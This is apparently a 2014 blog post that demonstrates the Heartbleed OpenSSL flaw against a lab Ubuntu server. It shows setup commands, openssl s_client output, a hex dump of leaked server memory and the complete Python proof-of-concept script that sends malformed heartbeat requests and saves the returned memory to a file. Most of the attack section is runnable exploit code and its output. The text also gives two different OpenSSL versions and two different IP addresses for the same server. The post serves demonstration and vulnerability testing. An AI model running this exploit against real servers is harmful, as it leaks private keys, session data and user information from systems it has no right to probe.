Real-life Demo of the Heartbleed Vulnerability

Many people have been talking about the Heartbleed demo, so I’ve setup a basic demo of how it is detected and what it reveals. The previous post of here, and the live demo is here:

With this I basically downloaded a Ubuntu 13 Server ISO, which has a default version of openssl of 1.0.1e, and which is vulnerable to Heartbleed. Next I install Apache, SSL and accepted the default Ubuntu certificate with:

sudo apt-get install apache2
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo /etc/init.d/apache2 restart

This will create a Web server which uses https on Port 443. In the demo I run the Ubuntu server in VMware Fusion at an address of 172.16.12.150. Running the following shows the vulnerability on the server:

$ openssl version -a
OpenSSL 1.0.0e 11 Feb 2013

Next a Web connection is used to verifiy the connection, after which the following commands can be used to access the server:

billbuchanan@bills-mbp:~$ openssl s_client -connect 172.16.121.150:443  -tlsextdebug
CONNECTED(00000003)
TLS server extension "renegotiation info" (id=65281), len=1
0001 - <SPACES/NULS>
TLS server extension "EC point formats" (id=11), len=4
0000 - 03 00 01 02                                       ....
TLS server extension "session ticket" (id=35), len=0
TLS server extension "heartbeat" (id=15), len=1
0000 - 01                                                .
depth=0 CN = ubuntu
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ubuntu
verify return:1
---
Certificate chain
 0 s:/CN=ubuntu
   i:/CN=ubuntu
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICsjCCAZqgAwIBAgIJAL/PapK6cF3vMA0GCSqGSIb3DQEBBQUAMBExDzANBgNV
BAMTBnVidW50dTAeFw0xNDA0MTUxOTI0NTBaFw0yNDA0MTIxOTI0NTBaMBExDzAN
BgNVBAMTBnVidW50dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOZL
6/GxNwa0s8HlWtkB1v5iUfZ1KDXu7kknn1FKExguz7KZ9XiFITcqSCIryEVHpqg+
YgxnRKV/X8Omstyhe6ZSKy+F9ddxfaELGI66Z4Tz33lF2Tw9cd3XKP9yu+PJ1wQL
6pFctGlJPgMV36qfdrF5dv8rp7BGI+ytVe0bs7JMwPEjRFuxLjbM+49MDEZAaIbC
MPGErrVqtlXcp1xEBkrdEd6FtHtrZaGlrwrXznOyTq+D5foZ7l5lF/6DKwtEVsIP
P/m3T4l+NOwUfxGZ2A8Nb3LSI6mqAy3Tpfr6NsL9g+4ms+1789lZfFIbZpINJD7c
a627jaBTuecUhTCsi9sCAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQUF
AAOCAQEAUl+r8YA7hhSVZN4Hxz9RulaCKbVZSdUehJC+dlmAEqkyYTSjOxh1YkaT
hzSoibX1zUiUEOP3JrP4d86F/ZV18vKeeSKaPcgyZ7H0bzf0mn2M610w4x6pB4q1
eTVIHUb5BQprAlS8dkBCNREQOSKhMxLJ9cYvR2KprhV1pzd3bZtbHoEOw8t7Ggo5
ywW3jb0S3UjtttJtvuVaIE6JZZfJ6xJt6MnFg6BFhxoDZ/4ZeSnycdA1YBvXw0Uo
3QBVPiKsKVww3Mwu2OoeSHfDj4CCkPPksr86tkWucLGEoPMamgj8c6KfQ6op3UUv
T7RyC5ARS05vVxgZXpLTbO0e8c7/qw==
-----END CERTIFICATE-----
subject=/CN=ubuntu
issuer=/CN=ubuntu
---
No client certificate CA names sent
---
SSL handshake has read 1385 bytes and written 446 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID: 8040143DA48DD889FD50002759A033554654EB39073C1BEE610A219B48C23F36
    Session-ID-ctx:
    Master-Key: ECE708F4D245CDB1DA30190315B84B9954BE92ADB2433CE2F2F6F472E8130F8A6E7F4475DA83A22AA2CBAF3627801507
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - eb a9 a6 d9 1b c3 1a 55-59 8c a6 21 98 7b a7 78   .......UY..!.{.x
    0010 - 67 09 d2 9d ea 73 22 27-e7 30 60 39 ea 3f 86 4c   g....s"'.0`9.?.L
    0020 - 24 d3 35 e3 49 e5 b7 9f-4d c2 d4 46 d1 67 15 ae   $.5.I...M..F.g..
    0030 - 30 45 fb cc 96 7a cc 69-7a 51 0f 31 96 a5 7b c6   0E...z.izQ.1..{.
    0040 - ef df 63 62 9c 3f 7a 8c-85 cc 09 e1 6a f9 8a 19   ..cb.?z.....j...
    0050 - 4a 39 02 14 3a 08 bf 44-1c 11 5f bf 17 36 0e e9   J9..:..D.._..6..
    0060 - 3f 81 bb 5f ca 2c 93 dd-00 d1 98 af 76 58 a0 1d   ?.._.,......vX..
    0070 - 41 c5 73 f8 11 da 43 60-ef a4 20 8d 67 23 03 c9   A.s...C`.. .g#..
    0080 - 75 88 d5 ad 9d 91 a8 f8-36 bb f0 7c bf c2 7f 5a   u.......6..|...Z
    0090 - c2 3d 48 0b 36 83 e2 33-2c 9c b2 f6 b2 53 cd a2   .=H.6..3,....S..
    00a0 - 84 03 36 15 61 a4 ca 78-e3 69 64 26 b4 36 fa ee   ..6.a..x.id&.6..
    00b0 - 8e 15 bb c5 0e e2 a8 c7-76 67 b5 96 77 7e e2 42   ........vg..w~.B

    Start Time: 1397594390
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---

The line which identifies the vulnerability is:

TLS server extension "heartbeat" (id=15), len=1

Next we can run the Python script to capture the running memory from the server:

Scanning 172.16.121.150 on port 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 704
 ... received message: type = 22, ver = 0302, length = 331
 ... received message: type = 22, ver = 0302, length = 4
Server TLS version was 1.2

Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 00 0E 00 0D  ....#...........
  00e0: 00 19 00 0B 00 0C 00 18 00 09 00 0A 00 16 00 17  ................
  00f0: 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12  ................
  0100: 00 13 00 01 00 02 00 03 00 0F 00 10 00 11 00 23  ...............#
  0110: 00 00 00 0D 00 20 00 1E 06 01 06 02 06 03 05 01  ..... ..........
  0120: 05 02 05 03 04 01 04 02 04 03 03 01 03 02 03 03  ................
  0130: 02 01 02 02 02 03 00 0F 00 01 01 5C E0 34 C2 16  ...........\.4..
  0140: C0 B4 87 62 EE 4F 20 31 35 20 41 70 72 20 32 30  ...b.O 15 Apr 20
  0150: 31 34 20 31 39 3A 32 34 3A 34 38 20 47 4D 54 0D  14 19:24:48 GMT.
  0160: 0A 49 66 2D 4E 6F 6E 65 2D 4D 61 74 63 68 3A 20  .If-None-Match:
  0170: 22 62 31 2D 34 66 37 31 39 63 30 64 38 33 34 39  "b1-4f719c0d8349
  0180: 32 2D 67 7A 69 70 22 0D 0A 0D 0A B2 A7 D1 0F 7E  2-gzip"........~
  0190: 89 FC 77 A8 0A 1A A9 53 AA B3 03 00 00 00 00 00  ..w....S........
  01a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
...
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server 172.16.121.150 returned more data than it should - server is vulnerable!

Thus we can see the memory of the server, with running keys. The Python script used is:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')

def hexdump(s, dumpf, quiet):
    dump = open(dumpf,'a')
    dump.write(s)
    dump.close()
    if quiet: return
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            if not rdata:
                return None
            else:
                return rdata
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s, dumpf, host, quiet):
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received from '+host+', server likely not vulnerable'
            return False

        if typ == 24:
            if not quiet: print 'Received heartbeat response:'
            hexdump(pay, dumpf, quiet)
            if len(pay) > 3:
                print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!'
            else:
                print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            if not quiet: print 'Received alert:'
            hexdump(pay, dumpf, quiet)
            print 'Server '+ host +' returned error, likely not vulnerable'
            return False

def connect(host, port, quiet):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    if not quiet: print 'Connecting...'
    sys.stdout.flush()
    s.connect((host, port))
    return s

def tls(s, quiet):
    if not quiet: print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    if not quiet: print 'Waiting for Server Hello...'
    sys.stdout.flush()

def parseresp(s):
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return 0
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            return ver

def check(host, port, dumpf, quiet, starttls):
    response = False
    if starttls:
        try:
            s = smtplib.SMTP(host=host,port=port)
            s.ehlo()
            s.starttls()
        except smtplib.SMTPException:
            print 'STARTTLS not supported...'
            s.quit()
            return False
        print 'STARTTLS supported...'
        s.quit()
        s = connect(host, port, quiet)
        s.settimeout(1)
        try:
            re = s.recv(1024)
            s.send('ehlo starttlstest\r\n')
            re = s.recv(1024)
            s.send('starttls\r\n')
            re = s.recv(1024)
        except socket.timeout:
            print 'Timeout issues, going ahead anyway, but it is probably broken ...'
        tls(s,quiet)
    else:
        s = connect(host, port, quiet)
        tls(s,quiet)

    version = parseresp(s)

    if version == 0:
        if not quiet: print "Got an error while parsing the response, bailing ..."
        return False
    else:
        version = version - 0x0300
        if not quiet: print "Server TLS version was 1.%d\n" % version

    if not quiet: print 'Sending heartbeat request...'
    sys.stdout.flush()
    if (version == 1):
        s.send(hbv10)
        response = hit_hb(s,dumpf, host, quiet)
    if (version == 2):
        s.send(hbv11)
        response = hit_hb(s,dumpf, host, quiet)
    if (version == 3):
        s.send(hbv12)
        response = hit_hb(s,dumpf, host, quiet)
    s.close()
    return response

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
    for i in xrange(0,opts.num):
        check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)

if __name__ == '__main__':
    main()

 

 

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s